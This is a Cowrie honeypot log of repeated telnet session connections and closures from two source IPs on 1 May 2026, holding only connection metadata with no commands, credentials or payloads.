{"eventid":"cowrie.session.closed","duration":31.23346447944641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.418328Z","src_ip":"208.115.200.90","session":"67d275e60c3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.328367948532104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.425105Z","src_ip":"208.115.200.90","session":"51e5bce86e6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0114803314209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.484273Z","src_ip":"208.115.200.90","session":"5f9cafc90d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814444065093994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.504633Z","src_ip":"208.115.200.90","session":"cb8bc982ea57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.488586902618408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.512952Z","src_ip":"208.115.200.90","session":"1d08bacd51a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39354,"dst_ip":"10.17.0.5","dst_port":23,"session":"603d13cafb89","protocol":"telnet","message":"New connection: 208.115.200.90:39354 (10.17.0.5:23) [session: 603d13cafb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.681434Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37398,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb35f8c8fd4","protocol":"telnet","message":"New connection: 208.115.219.122:37398 (10.17.0.5:23) [session: 3cb35f8c8fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.745871Z"}
{"eventid":"cowrie.session.closed","duration":31.11860179901123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.760828Z","src_ip":"208.115.219.122","session":"addabe4c6ce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40830,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e0bd036109","protocol":"telnet","message":"New connection: 208.115.200.90:40830 (10.17.0.5:23) [session: c3e0bd036109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.777121Z"}
{"eventid":"cowrie.session.closed","duration":30.282243490219116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.016512Z","src_ip":"208.115.219.122","session":"39a30947a898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41180,"dst_ip":"10.17.0.5","dst_port":23,"session":"50d05394f2ef","protocol":"telnet","message":"New connection: 208.115.200.90:41180 (10.17.0.5:23) [session: 50d05394f2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.021088Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41194,"dst_ip":"10.17.0.5","dst_port":23,"session":"54aeaac2e0d6","protocol":"telnet","message":"New connection: 208.115.200.90:41194 (10.17.0.5:23) [session: 54aeaac2e0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.029251Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37464,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc0fc2818fe3","protocol":"telnet","message":"New connection: 208.115.219.122:37464 (10.17.0.5:23) [session: fc0fc2818fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.044569Z"}
{"eventid":"cowrie.session.closed","duration":30.917587757110596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.053612Z","src_ip":"208.115.219.122","session":"6a422525f3d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41214,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf254d00797","protocol":"telnet","message":"New connection: 208.115.200.90:41214 (10.17.0.5:23) [session: 7cf254d00797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.065431Z"}
{"eventid":"cowrie.session.closed","duration":30.725210666656494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.072458Z","src_ip":"208.115.219.122","session":"25e005c722df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37472,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ad0ef263329","protocol":"telnet","message":"New connection: 208.115.219.122:37472 (10.17.0.5:23) [session: 1ad0ef263329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.156297Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41234,"dst_ip":"10.17.0.5","dst_port":23,"session":"68ed8b3f298f","protocol":"telnet","message":"New connection: 208.115.200.90:41234 (10.17.0.5:23) [session: 68ed8b3f298f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.192340Z"}
{"eventid":"cowrie.session.closed","duration":30.896154403686523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.216071Z","src_ip":"208.115.200.90","session":"48a6758358de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.224403858184814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.251175Z","src_ip":"208.115.219.122","session":"353173d09fa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0704505443573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.304725Z","src_ip":"208.115.200.90","session":"11dd37a7a5f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595937967300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.344509Z","src_ip":"208.115.219.122","session":"6969020c1292","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41260,"dst_ip":"10.17.0.5","dst_port":23,"session":"b81ada3643d1","protocol":"telnet","message":"New connection: 208.115.200.90:41260 (10.17.0.5:23) [session: b81ada3643d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.350765Z"}
{"eventid":"cowrie.session.closed","duration":30.948211431503296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.424397Z","src_ip":"208.115.200.90","session":"cd97318622a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37570,"dst_ip":"10.17.0.5","dst_port":23,"session":"521227b117f1","protocol":"telnet","message":"New connection: 208.115.219.122:37570 (10.17.0.5:23) [session: 521227b117f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.469174Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41336,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a747770f585","protocol":"telnet","message":"New connection: 208.115.200.90:41336 (10.17.0.5:23) [session: 4a747770f585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.486783Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40710,"dst_ip":"10.17.0.5","dst_port":23,"session":"90c67b638f51","protocol":"telnet","message":"New connection: 208.115.200.90:40710 (10.17.0.5:23) [session: 90c67b638f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:57.706563Z"}
{"eventid":"cowrie.session.closed","duration":30.8390154838562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.012667Z","src_ip":"208.115.219.122","session":"aab3916c47f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42396,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c1e01eee01","protocol":"telnet","message":"New connection: 208.115.200.90:42396 (10.17.0.5:23) [session: 47c1e01eee01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.024351Z"}
{"eventid":"cowrie.session.closed","duration":30.657103061676025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.030147Z","src_ip":"208.115.219.122","session":"767ecc5ad906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37670,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcb54095129e","protocol":"telnet","message":"New connection: 208.115.219.122:37670 (10.17.0.5:23) [session: fcb54095129e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.050096Z"}
{"eventid":"cowrie.session.closed","duration":30.712653398513794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.056585Z","src_ip":"208.115.219.122","session":"2c1d67496a5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528258800506592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.086124Z","src_ip":"208.115.200.90","session":"a9dbb0520d5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809149742126465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.178376Z","src_ip":"208.115.219.122","session":"aff72451eac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.728879928588867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.185880Z","src_ip":"208.115.200.90","session":"26682c8110f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16613006591797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.209382Z","src_ip":"208.115.219.122","session":"afb24b6fe434","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057652473449707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.219087Z","src_ip":"208.115.219.122","session":"000bca7fa843","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5499370098114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.261600Z","src_ip":"208.115.200.90","session":"7a6e3f020fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42552,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6be4a743975","protocol":"telnet","message":"New connection: 208.115.200.90:42552 (10.17.0.5:23) [session: b6be4a743975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.331947Z"}
{"eventid":"cowrie.session.closed","duration":31.166694402694702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.384513Z","src_ip":"208.115.200.90","session":"407d8a7ecc17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42596,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcb565fd01d0","protocol":"telnet","message":"New connection: 208.115.200.90:42596 (10.17.0.5:23) [session: dcb565fd01d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.401261Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37686,"dst_ip":"10.17.0.5","dst_port":23,"session":"35b1f78b8ea2","protocol":"telnet","message":"New connection: 208.115.219.122:37686 (10.17.0.5:23) [session: 35b1f78b8ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.428948Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42762,"dst_ip":"10.17.0.5","dst_port":23,"session":"38a8062c70cd","protocol":"telnet","message":"New connection: 208.115.200.90:42762 (10.17.0.5:23) [session: 38a8062c70cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.542244Z"}
{"eventid":"cowrie.session.closed","duration":31.464588165283203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.579618Z","src_ip":"208.115.200.90","session":"36b4923248ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42910,"dst_ip":"10.17.0.5","dst_port":23,"session":"63df2df07bb3","protocol":"telnet","message":"New connection: 208.115.200.90:42910 (10.17.0.5:23) [session: 63df2df07bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.631357Z"}
{"eventid":"cowrie.session.closed","duration":30.77500557899475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.669808Z","src_ip":"208.115.219.122","session":"6d9de8a76c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43016,"dst_ip":"10.17.0.5","dst_port":23,"session":"cde10a33e447","protocol":"telnet","message":"New connection: 208.115.200.90:43016 (10.17.0.5:23) [session: cde10a33e447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:58.720045Z"}
{"eventid":"cowrie.session.closed","duration":30.105791330337524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.022707Z","src_ip":"208.115.219.122","session":"6e3e21598ec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43258,"dst_ip":"10.17.0.5","dst_port":23,"session":"df3809e64e9f","protocol":"telnet","message":"New connection: 208.115.200.90:43258 (10.17.0.5:23) [session: df3809e64e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.030075Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43264,"dst_ip":"10.17.0.5","dst_port":23,"session":"87db52dbd1b9","protocol":"telnet","message":"New connection: 208.115.200.90:43264 (10.17.0.5:23) [session: 87db52dbd1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.052591Z"}
{"eventid":"cowrie.session.closed","duration":30.792834043502808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.100522Z","src_ip":"208.115.219.122","session":"e2319c690bf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.590914249420166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.113109Z","src_ip":"208.115.200.90","session":"37957fec1574","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43310,"dst_ip":"10.17.0.5","dst_port":23,"session":"a16a30ffa7c3","protocol":"telnet","message":"New connection: 208.115.200.90:43310 (10.17.0.5:23) [session: a16a30ffa7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.148726Z"}
{"eventid":"cowrie.session.closed","duration":30.790151357650757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.184481Z","src_ip":"208.115.219.122","session":"41edb790c752","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37732,"dst_ip":"10.17.0.5","dst_port":23,"session":"af47ba0d3289","protocol":"telnet","message":"New connection: 208.115.219.122:37732 (10.17.0.5:23) [session: af47ba0d3289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.191122Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37738,"dst_ip":"10.17.0.5","dst_port":23,"session":"66f4dcc91947","protocol":"telnet","message":"New connection: 208.115.219.122:37738 (10.17.0.5:23) [session: 66f4dcc91947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.199121Z"}
{"eventid":"cowrie.session.closed","duration":30.647910356521606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.272530Z","src_ip":"208.115.200.90","session":"898abe79993c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37776,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e9a28d808d4","protocol":"telnet","message":"New connection: 208.115.219.122:37776 (10.17.0.5:23) [session: 0e9a28d808d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.287484Z"}
{"eventid":"cowrie.session.closed","duration":31.15530753135681,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.294790Z","src_ip":"208.115.219.122","session":"fe685f58c936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113062620162964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.317432Z","src_ip":"208.115.219.122","session":"16ddf3963fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05840277671814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.464095Z","src_ip":"208.115.200.90","session":"7f5ea57e81f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891821146011353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:59.522059Z","src_ip":"208.115.200.90","session":"c3201c3d3ee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.600542306900024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.013782Z","src_ip":"208.115.219.122","session":"5514e021550e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769763946533203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.036230Z","src_ip":"208.115.200.90","session":"aa6400276a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05641746520996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.080925Z","src_ip":"208.115.219.122","session":"ea6bbc4cf679","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37966,"dst_ip":"10.17.0.5","dst_port":23,"session":"67018f560682","protocol":"telnet","message":"New connection: 208.115.219.122:37966 (10.17.0.5:23) [session: 67018f560682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.101182Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37998,"dst_ip":"10.17.0.5","dst_port":23,"session":"998e73fe5edc","protocol":"telnet","message":"New connection: 208.115.219.122:37998 (10.17.0.5:23) [session: 998e73fe5edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.166450Z"}
{"eventid":"cowrie.session.closed","duration":30.952298879623413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.225020Z","src_ip":"208.115.200.90","session":"346e7b4f1336","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44054,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc02a7340e7d","protocol":"telnet","message":"New connection: 208.115.200.90:44054 (10.17.0.5:23) [session: fc02a7340e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.260592Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44086,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc59c8818b53","protocol":"telnet","message":"New connection: 208.115.200.90:44086 (10.17.0.5:23) [session: cc59c8818b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.317609Z"}
{"eventid":"cowrie.session.closed","duration":31.25962543487549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.346016Z","src_ip":"208.115.200.90","session":"0a22477d7658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.123255968093872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.449212Z","src_ip":"208.115.219.122","session":"e943b974afec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094422101974487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.574934Z","src_ip":"208.115.200.90","session":"74dc69df7b88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.163561582565308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.702053Z","src_ip":"208.115.200.90","session":"2f9db59b5c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.638690948486328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:00.735488Z","src_ip":"208.115.219.122","session":"b4c549093710","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922415018081665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.019051Z","src_ip":"208.115.219.122","session":"a2d99e62f348","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94374108314514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.035648Z","src_ip":"208.115.219.122","session":"ecba98d60bd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85398530960083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.043368Z","src_ip":"208.115.219.122","session":"7806d06e0ac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44570,"dst_ip":"10.17.0.5","dst_port":23,"session":"edce72e25caf","protocol":"telnet","message":"New connection: 208.115.200.90:44570 (10.17.0.5:23) [session: edce72e25caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.057011Z"}
{"eventid":"cowrie.session.closed","duration":30.80818271636963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.062701Z","src_ip":"208.115.219.122","session":"35d4d5cb7556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952955961227417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.084516Z","src_ip":"208.115.200.90","session":"77511052b42e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849329948425293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.154780Z","src_ip":"208.115.200.90","session":"7fbc9bae9de3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044222831726074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.171494Z","src_ip":"208.115.200.90","session":"8acfdf9a3f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44574,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf8b575c1b8","protocol":"telnet","message":"New connection: 208.115.200.90:44574 (10.17.0.5:23) [session: fcf8b575c1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.210060Z"}
